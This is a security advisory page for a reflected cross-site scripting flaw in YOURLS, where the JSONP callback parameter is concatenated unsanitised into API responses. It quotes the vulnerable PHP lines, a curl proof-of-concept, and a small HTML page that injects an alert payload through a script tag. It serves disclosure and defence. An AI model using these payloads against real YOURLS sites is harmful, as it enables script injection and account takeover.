GHSA-6mp4-q625-mxjp YOURLS is vulnerable to XSS through JSONP and Callback request parameters

Not scored Published

Unauthenticated attackers can inject arbitrary JavaScript via JSONP callback parameters in public mode, leading to XSS and potential account takeover.

Exploited in the wild
Not known
Login needed
Not needed
Attackable
Over the internet
Victim action needed
A user has to click or open something
Fix
None listed

What is GHSA-6mp4-q625-mxjp?

GHSA-6mp4-q625-mxjp is a cross-site scripting vulnerability in yourls/yourls, published on 30 Dec 2025. An attacker can exploit it over the internet without logging in, and only if a user opens a file or follows a link.

Official description

Summary

The callback and jsonp request parameters are directly concatenated into the response without any sanitization that allowing attackers to inject arbitrary JS code. When YOURLS_PRIVATE is set to false (public API mode), this vulnerability can be exploited by any unauthenticated attacker. In private mode, the XSS payload is still injected into the 403 response body though browser execution is blocked.

Details

Vulnerability exists in the JSONP callback handling chain:

yourls-api.php:127-128

if( isset( $_REQUEST['callback'] ) )
    $return['callback'] = $_REQUEST['callback'];
elseif ( isset( $_REQUEST['jsonp'] ) )
    $return['callback'] = $_REQUEST['jsonp']; 

includes/functions-api.php:127-128

$callback = isset( $output['callback'] ) ? $output['callback'] : '';
$result =  $callback . '(' . json_encode( $output ) . ')';

PoC

I. YOURLS instance with YOURLS_PRIVATE set to false in config.php or user authenticated to a private YOURLS instance.

II. curl "http://localhost:8080/yourls-api.php?action=version&format=jsonp&callback=alert(document.domain)//" Expected response: alert(document.domain)//({"version":"1.10.2","callback":"alert(document.domain)\/\/"})

Browser PoC file:

<!DOCTYPE html>
<html>
<head><title>pwn</title></head>
<body>
<h1>pwn</h1>
<script src="http://localhost:8080/yourls-api.php?action=version&format=jsonp&callback=alert('pwn');//"></script>
</body>
</html>

Impact

Public Mode (YOURLS_PRIVATE=false): Full exploitation, any unauthenticated user can trigger XSS. Private Mode (YOURLS_PRIVATE=true): XSS payload is injected into 403 response body but browser blocks script execution. However, authenticated users or admins accessing malicious links are still vulnerable.

Which versions are affected by GHSA-6mp4-q625-mxjp?

2 open source packages ship an affected version, including yourls/yourls.

PackageAffectedFixed in
yourls/yourls PackagistAll versions to 1.10.2None
yourls/yourls PackagistAll versions to 1.10.2None

How do I fix GHSA-6mp4-q625-mxjp?

No fix has been published for GHSA-6mp4-q625-mxjp yet. Limit exposure of the affected software until one is available.

Escape output for the context it lands in and set a strict Content Security Policy. Upgrading the affected component is the real fix. More about Cross-site scripting.

Is GHSA-6mp4-q625-mxjp being exploited?

There is no known exploitation of GHSA-6mp4-q625-mxjp in the wild and no public exploit code.

Sources

Is GHSA-6mp4-q625-mxjp in your software?

Upload an SBOM and sbomify checks it against every vulnerability here, every day.

Check your SBOMs for free